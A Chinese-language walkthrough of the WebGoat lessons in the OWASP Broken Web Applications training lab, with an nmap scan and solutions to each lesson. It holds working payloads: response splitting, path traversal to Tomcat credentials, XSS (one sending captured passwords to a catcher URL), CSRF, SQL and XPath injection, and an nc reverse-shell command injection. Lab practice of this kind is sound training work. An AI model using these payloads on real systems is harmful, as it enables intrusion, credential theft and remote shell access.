owaspbwa之WebGoat

article/2025/11/5 2:28:42

简介

 下载:https://sourceforge.net/projects/owaspbwa/files/

GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide

0x001 侦查

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 ea:83:1e:45:5a:a6:8c:43:1c:3c:e3:18:dd:fc:88:a5 (DSA)
|_  2048 3a:94:d8:3f:e0:a2:7a:b8:c3:94:d7:5e:00:55:0c:a7 (RSA)
80/tcp   open  http        Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL...)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
|_http-title: owaspbwa OWASP Broken Web Applications
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Courier Imapd (released 2008)
|_imap-capabilities: UIDPLUS THREAD=ORDEREDSUBJECT THREAD=REFERENCES completed IDLE QUOTA OK CAPABILITY ACL ACL2=UNIONA0001 CHILDREN IMAP4rev1 SORT NAMESPACE
443/tcp  open  ssl/https?
|_ssl-date: 2018-12-17T06:55:14+00:00; 0s from scanner time.
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open  java-rmi    Java RMI
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Site doesn't have a title.
8081/tcp open  http        Jetty 6.1.25
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(6.1.25)
|_http-title: Choose Your Path
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.70%I=7%D=12/17%Time=5C174849%P=x86_64-pc-linux-gnu%r(N
SF:ULL,4,"\xac\xed\0\x05");
MAC Address: F4:B7:E2:01:6D:06 (Hon Hai Precision Ind.)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: OWASPBWA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

0x002 General

http服务器缓存利用 HTTP Splitting

#当对服务器发请求
HTTP/1.1 302 Moved Temporarily
Date: Mon, 17 Dec 2018 14:21:31 GMT
Server: Apache-Coyote/1.1
Location: http://192.168.1.104/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en #重点在这
Content-Type: text/html;charset=ISO-8859-1
Via: 1.1 127.0.1.1
Vary: Accept-Encoding
Content-Length: 0
Connection: close

构造恶意代码

en%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0aInsert undesireable content here
en%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT+%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b

0x003 Access Control Flaws

Bypass a Path Based Access Control Scheme

../../../../../../../etc/tomcat6/tomcat-users.xml

LAB: Role Based Access Control

employee_id=105&action=ViewProfile #登录后修改为 DeleteProfile

0x004

Stage 1: 绕过表示层访问控制(Bypass Presentational Layer Access Control)

Tom用户 小写密码登录  然后点击ViewProfile  抓包修改数据 让Tom用户拥有 DeleteProfile 权限


employee_id=105&action=ViewProfile修改为 DeleteProfile

Stage 2: 添加业务层的访问控制(Add Business Layer Access Control)

    要修改 org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessContro l.java 类中的相关代码

    修改 handleRequest 方法

//***************CODE HERE************************* 
if(!isAuthorized(s, getUserId(s), requestedActionName))
{throw new UnauthorizedException();
}
//************************************************* 

Stage 3: 绕过数据层访问控制(Breaking Data Layer Access Control)

选择Tom小写密码tom登录   抓包修改为Jarry的ID 101


employee_id=105&action=ViewProfile  #id修改为101 

Stage 4: 添加数据层访问控制(Add Data Layer Access Control)

0x005  Ajax Security

基于 DOM 的跨站点访问(LAB: DOM‐Based cross‐site scripting)

STAGE 1:

<IMG SRC="images/logos/owasp.jpg"/>

STAGE 2:

<img src=x onerror=;;alert('XSS') />

STAGE 3:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

STAGE 4:

Please enter your password:<BR><input type = "password" name="pass"/><button
onClick="javascript:alert('I have your password: ' +
pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR>
<BR><BR><BR><BR><BR><BR><BR><BR> 

DOM 注入(DOM Injection)

拦截数据 修改body内容

document.form.SUBMIT.disabled = false;

XML 注入(XML Injection)

<root>
<reward>WebGoat Core Duo Laptop 2000 Pts</reward>
<reward>WebGoat Hawaii Cruise 3000 Pts</reward> 
</root>

JSON 注入(JSON Injection)

burpsuite 设置 : Proxy-Options-Intercept Server Response设置response拦截的选项:

拦截 修改 JSON数据


{
"From": "Boston",
"To": "Seattle", 
"flights": [
{"stops": "0", "transit" : "N/A", "price": "$600"}, //任意修改
{"stops": "2", "transit" : "Newark,Chicago", "price": "$300"} //任意修改 
]
}

静默交易攻击(Silent Transactions Attacks)

查看源代码  两个关键的 JavaScript 函数 function processData()   function submitData

//在页面的URL输入:
javascript:submitData(16666000,100000)

 

危险指令使用(Dangerous Use of Eval)

123');alert(document.cookie);(' 

不安全的客户端存储(Insecure Client Storage)

选择要购买的商品 burp抓包修改金额为0 

0x006 认证缺陷(Authentication Flaws)

基本认证(Basic Authentication)


Authorization
guest:guest

多级登录 1(Multi Level Login 1)

STAGE 1

//用户名密码登录
用户名:Jane,密码:tarzan
TAN 15648

STAGE 2

用户名:Jane,密码:tarzan
TAN 15648burp拦截 hidden_ten值修改为1
hidden_tan=1&tan=15648&Submit=Submit 

0x008 缓冲区溢出(Buffer Overflows)

Off‐by‐One 缓冲区溢出(Off‐by‐One Overflows)

//随便填写
test
test
123
//request 请求拦截后发往 intruder
249.99+-+24+hours&SUBMIT=Accept+Terms&last_name=test&first_name=test&room_no=§123§
//character blocks 参数设置
base string: 3
min length: 1024
max length: 1024000
step: 1024 

0x009 代码质量(Code Quality)

在 HTML 中找线索(Discover Clues in the HTML) 

查看源代码中的注释可找到用户名密码

<!-- FIXME admin:adminpw  --><!-- Use Admin to regenerate database  -->

0x010 并发(Concurrency)

线程安全问题(Thread Safety Problems)

//两个用户, 浏览器打开两个相同页面 同时提交 会看到另个用户的信息
jeff
dave

购物车并发缺陷(Shopping Cart Concurrency Flaw)

选择要购买的产品,打开两个页面同时提交 

0x011 跨站脚本攻击(Cross‐Site Scripting (XSS))

使用 XSS 钓鱼(Phishing with XSS) 可以使用Beef更加方便快捷

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
</script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter
Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input
type="password" name = "pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>

跨站脚本攻击(LAB: Cross Site Scripting)

<script>alert(document.cookie);</script>

存储型 XSS 攻击(Stored XSS Attacks)

存储型XXS可以打站点后台,获得密码。如果结合beef威力更大

<script language="javascript" type="text/javascript">alert(document.cookie);</script>

跨站请求伪造(Cross Site Request Forgery (CSRF))

<img src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000" width="1"
height="1" />

绕过 CSRF 确认( CSRF Prompt By‐Pass)

<img src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transf
erFunds=CONFIRM'" width="1" height="1" />
<img id="image2" width="1" height="1" /> 

站跟踪攻击(Cross Site Tracing (XST) Attacks)

<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new
ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}</script>

0x012 不当的错误处理(Improper Error Handling)

打开认证失败方案(Fail Open Authentication Scheme)

burp拦截 删除password这项 

0x013 注入缺陷(Injection Flaws)

命令注入(Command Injection)


" 127.0.0.1 && nc -vn  192.168.1.101 4444 -e /bin/bash

数字型 SQL 注入(Numeric SQL Injection)

or 1=1

日志欺骗(Log Spoofing)

Smith%0d%0aLogin Succeeded for username: admin

XPATH 型注入(XPATH Injection)
 

Smith' or 1=1 or 'a'='a

字符串型注入(String SQL Injection)

' or 1=1 --

SQL 注入(LAB: SQL Injection)

smith' or '1' = '1

 

​​​​​​​


http://chatgpt.dhexx.cn/article/RLjeMGeT.shtml

相关文章

WebGoat之JWT部分攻略

环境搭建 使用docker容器搭建webgoat环境 什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的&#xff0c;特别适用于分布式站点的单点登录&#xff08;单点登录SSO&#xff1a;在多个应用系统中&…

Webgoat靶场搭建

环境 jdk16 安装 文件源码看评论区哈。 下载过后是这个jdk-16.0.2.7z文件&#xff0c;这是个JDK16的包,进入bin目录下&#xff0c;可以看到靶场文件&#xff0c; 启动网站 打开一个cmd窗口执行启动网站命令 java --add-opens java.base/sun.nio.chALL-UNNAMED --add-op…

WebGoat通关教程

这里我们用docker镜像一键搭建即可 用docker命令开启webgoat docker run -d -p 8081:8080 -p 9090:9090 -e TZEurope/Amsterdam webgoat/goatandwolf 打开192.168.109.131:8081/WebGoat和192.168.109.131:9090/WebWolf能打开即可 192.168.109.131是本地IP 直接注册一个账号&…

在Ubuntu环境下使用docker配置webgoat环境

1.安装Docker环境 sudo apt install docker.io 2.配置Docker加速 打开配置文件 vim /etc/docker/daemon.json添加mirrors信息 {"registry-mirrors":["https://registry.docker-cn.com","http://hub-mirror.c.163.com"]}3.重启docker system…

WebGoat General Crypto Basics

目录 第2页 第3页 第4页 第6页 第2页 这一页是讲base64编码和Basic Authentication的 简单来说Basic Authentication中使用了base64编码&#xff0c;以本页的题目举例&#xff0c;如果有个HTTP头长这样 Authorization: Basic ZmFuY3llbGU6c2VjcmV0 那这个网站就是用了Basi…

docker安装webgoat

docker安装webgoat 一般来说 无需docker&#xff0c;在 https://github.com/WebGoat/WebGoat/releases中&#xff0c;下载最新的v8.2.2.jar,然后java -jar webgoat-server-8.2.2.jar然后反问http://127.0.0.1/WebGoat即可 但是&#xff0c;由于本人windows主机(java10.0.2)和ka…

WebGoat-8.2.2版靶机学习总结

摘要&#xff1a;本文档介绍了WebGoat靶机平台在Windows10系统下的使用。其操作过程均在一台主机上完成。该平台涉及的训练项目有http代理、数据库注入、身份校验缺陷、XSS、访问控制缺陷、通信拦截、序列化问题、CSRF、问题组件等内容&#xff0c;帮助学习者学习网络攻防基础&…

WebGoat安装

WebGoat是运行在Java虚拟机的WEB漏洞实验靶场,可以提供包括跨站点脚本攻击(XSS),访问控制,线程安全,操作隐藏字段,操纵参数,弱会话cookie,SQL盲注,数字型SQL注入,字符串型SQL注入,web服务、Open Authentication失效,危险的HTML注释等多个漏洞练习. 使用WebGoat的方式有很多,我…

WebGoat v8.0打靶笔记

目录 一、环境的配置 &#xff08;1&#xff09;安装docker &#xff08;2&#xff09;WebGoat获取 &#xff08;3&#xff09;burp suite的配置 二、Introduction 三、General &#xff08;1&#xff09;HTTP Basics &#xff08;2&#xff09;HTTP Proxies &#…

安装WebGoat步骤

安装Webgoat步骤 安装目的&#xff1a;了解并深入目前安全行业的OWASP ten 10漏洞 何为Webgoat? Webgoat内置OWASP十大漏洞 安装过程 下载webgoat架包 地址 创建一个文件夹&#xff0c;将上面框出的架包复制到文件夹里 检测JAVA环境 使用之前得先把Java的版本升级一下…

WebGoat部分题目

一、文件上传漏洞 1、跨目录脚本执行 上传的脚本文件在网站存放上传文件的目录下被限制执行&#xff0c;于是我们把上传的脚本文件放到根目录去执行。 靶场情况&#xff1a; 如上图所示&#xff0c;假设的根目录为C:\Users\Administrator/.webgoat-2023.4/PathTraversal &am…

linux部署webgoat

文章目录 程序包准备上传部署 程序包准备 github上下载程序包&#xff0c;如果太慢可以点击 下载webgoat-server-8.2.2 .jar 上传部署 将包上传到服务器上&#xff0c;需要说明该包依赖java环境且对java版本要求较高&#xff0c;我们这里是用java17进行部署&#xff0c;需要…

WebGoat靶场搭建及通关记录(一)

文章目录 前言一、搭建靶场二、通关攻略1.GeneralHTTP BasicsHTTP Proxies 2.Injection FlawsSQL Injection (advanced)SQL InjectionSQL Injection (mitigation)XXE 3.Authentication FlawsAuthentication BypassesJWT tokens 总结 前言 搭建WebGoat靶场&#xff0c;以前没玩…

WebGoat安装配置

WebGoat安装配置 WebGoat是由OWASP维护的故意不安全的Web应用程序&#xff0c;旨在教授Web应用程序安全性课程。该程序演示了常见的服务器端应用程序缺陷。 这些练习旨在供人们学习应用程序安全性和渗透测试技术。 要从源码安装并运行WebGoat需要运用到许多工具&#xff0c;并…

webgoat

Webgoat挑战刷关&#xff1a; 第一关&#xff1a; 提示&#xff1a;Admin管理员丢失密码 一开始想到爆破&#xff0c;后面发现太蠢了有点。。。万一人家的密码设置的稍微有点复杂&#xff0c;那我这老年机还不跑废了啊。 然后我想着用sql注入的万能密码&#xff1a; 发现也给…

WebGoat通关攻略

目录 前言一、环境配置1.Docker配置2.WebGoat获取3.WebGoat连接 二、通关攻略&#xff08;建设中&#xff09;1.Introduction1)WebGoat2)WebWolf 2.General1)HTTP Basics2)HTTP Proxies3)Developer Tools4)CIA Triad5)Crypto Basics 3.Injection1)SQL Injection(intro)2)SQL In…

webgoat全关教程手册

Webgoat&Webwolf owaspbwa里面的两个服务 搭建 先要安装jdk、Webgoat和Webwolf Webgoat和Webwolf jdk1.8不支持了&#xff0c;需要安装jdk11 去git上下载Webgoat和Webwolf https://github.com/WebGoat/WebGoat/releases/tag/v8.0.0.M26 去oracle官网下载JDK https:/…

Webgoat学习笔记

0x00 安装 WebGoat的版本区别 WebGoat是一个渗透破解的习题教程,分为简单版和开发版,GitHub地址. 简单版安装 简单版是个JAVA的Jar包,只需要有Java环境,然后在命令行里执行 1 2 3 <code> #!bash java -jar webgoat-container-7.0.1-war- exec .jar < /code > 然…

6.4 Web安全漏洞学习平台:WebGoat的使用

目录 一、预备知识 1、WebGoat介绍 2、JDK 二、实验环境 三、实验步骤 1、JDK安装 2、JDK环境配置 3、WebGoat下载 6、以字符串型SQL注入实验为例进行简单的讲解 一、预备知识 1、WebGoat介绍 WebGoat是一个用来演示Web浏览器中典型安全漏洞的应用程序&#xff0c;其…

【详解】webgoat Web渗透测试平台Injection单元 攻略

目录 一、什么是webgoat&#xff1f; 二、Injection 2.1 SQL Injection (intro) 2.1.1 查询Bob的岗位 2.1.2 更改Tobi的部门 2.1.3 增加一个phone部门 2.1.4 授权 2.1.5 Try It! String SQL injection 2.1.6 查询所有员工的信息 2.1.7 修改员工的薪水 2.1.8 删库跑路 …